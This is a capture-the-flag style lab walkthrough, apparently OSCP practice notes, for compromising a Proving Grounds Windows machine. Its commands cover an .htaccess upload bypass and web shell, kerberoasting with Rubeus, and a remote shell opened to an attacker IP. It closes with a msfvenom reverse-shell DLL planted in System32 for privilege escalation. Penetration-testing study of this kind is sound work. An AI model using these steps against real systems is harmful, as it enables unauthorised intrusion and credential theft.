> For the complete documentation index, see [llms.txt](https://aditya-3.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aditya-3.gitbook.io/oscp/readme/walkthroughs/pg-practice/access-2/80.md).

# 80

![](/files/3Mdntst6TbWsZpwNYp09)

There is a file upload functionality: ![](/files/I86CdbylgGiDCqnOqZzS)

We can try to replace the .htaccess file of the server since it is running apache.

Running feroxbuster we also have an uploads directory.

We have `shell.whatevs`: ![](/files/kVA55XzreqrBVuIEubKt)

For command execution: <http://192.168.183.187/uploads/shell.whatevs?cmd=whoami> ![](/files/OgsQFn2xEDHzS085NkfJ)

Now run powershell base64 payload ![](/files/l0kMKY94oa5xmjiAoL3v)

We have 2 service accounts: ![](/files/9CJzk0cOnOGKnlYDE1h9)

We can try kerberoasting:

```
.\Rubeus.exe kerberoast /nowrap
```

![](/files/pHwbun4dfEkxMPHCAssx)

We got a hash for svc\_mssql. We can crack it with hashcat ![](/files/gedkkeeAJqW8kgicw0Zg) trustno1

Now to get a shell as svc\_mssql:

```
import-module .\Invoke-RunasCs.ps1
```

```
Invoke-RunasCs svc_mssql trustno1 cmd.exe -remote 192.168.45.229:1234
```

We now get a shell at port 1234:

```
sudo rlwrap nc -nlvp 1234
```

![](/files/J6VTRJU0Vg9Ut0bNrV9k)

![](/files/sYNvxUUATruQqkiy17oD) Now we can use an exploit for SeManageVolumePrivilege: <https://github.com/CsEnox/SeManageVolumeExploit/releases>

Run it first

```
SeManageVolumeExploit.exe
```

For Printconfig.dll:

```bash
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.190 LPORT=4444 -f dll -o Printconfig.dll
```

Then transfer to machine Then copy it:

```
copy Printconfig.dll C:\Windows\System32\spool\drivers\x64\3\
```

Then in powershell:

```powershell
$type = [Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}")
$object = [Activator]::CreateInstance($type)
```

Now should have got a shell ![](/files/eleq45sO3GLKFM1V8TUZ)